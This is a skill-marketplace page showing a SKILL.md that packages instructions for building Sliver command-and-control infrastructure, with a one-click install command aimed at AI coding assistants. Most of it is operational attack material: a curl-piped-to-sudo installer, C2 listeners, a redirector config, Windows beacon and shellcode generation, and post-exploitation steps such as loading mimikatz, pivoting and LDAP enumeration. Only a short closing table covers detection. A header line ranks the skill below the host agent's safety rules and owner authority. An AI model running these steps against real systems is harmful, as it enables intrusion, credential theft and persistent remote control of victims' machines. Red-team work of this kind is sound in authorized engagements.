菜单
Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/nexuslinkproductions/yuri-os --skill cyber-building-c2-infrastructure-with-sliver-framework命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | cyber-building-c2-infrastructure-with-sliver-framework |
| description | Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements. |
| source | mukul975/Anthropic-Cybersecurity-Skills |
| license | Apache-2.0 |
| authorized_lab | false |
| origin_frontmatter | name: building-c2-infrastructure-with-sliver-framework | description: Build and configure a resilient command-and-control infrastructure using | BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator | support for authorized red team engagements. | domain: cybersecurity | subdomain: red-teaming | tags: | - red-team | - c2-framework | - sliver | - command-and-control | - adversary-simulation | - infrastructure | - post-exploitation | version: '1.0' | author: mah |
| hide | true |
Defensive/analysis cyber skill. Source: mukul975/Anthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.
Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.
curl https://sliver.sh/install | sudo bash
systemctl start sliver
# Or run interactively
sliver-server
new-operator --name operator1 --lhost <team-server-ip>
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
dns --domains c2dns.example.com --lport 53
mtls --lhost 0.0.0.0 --lport 8888
wg --lport 51820
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
generate beacon --dns c2dns.example.com --os windows --arch amd64
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
beacons # List active beacons
use <beacon-id> # Interact with a beacon
ps # Process listing
netstat # Network connections
execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies
sideload /path/to/mimikatz.dll # Load DLLs
pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host
armory install sa-ldapsearch # Install from armory
sa-ldapsearch -- "(objectClass=user)" # Execute BOF
| Tool | Purpose | Platform |
|---|---|---|
| Sliver Server | C2 team server and implant management | Linux/macOS/Windows |
| Sliver Client | Operator console for team members | Cross-platform |
| NGINX | Redirector and reverse proxy | Linux |
| Certbot | Let's Encrypt SSL certificate generation | Linux |
| Cloudflare | CDN and domain fronting | Cloud |
| Armory | Sliver extension/BOF package manager | Built-in |
| Indicator | Detection Method |
|---|---|
| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |
| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |
| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |
| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |
| Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |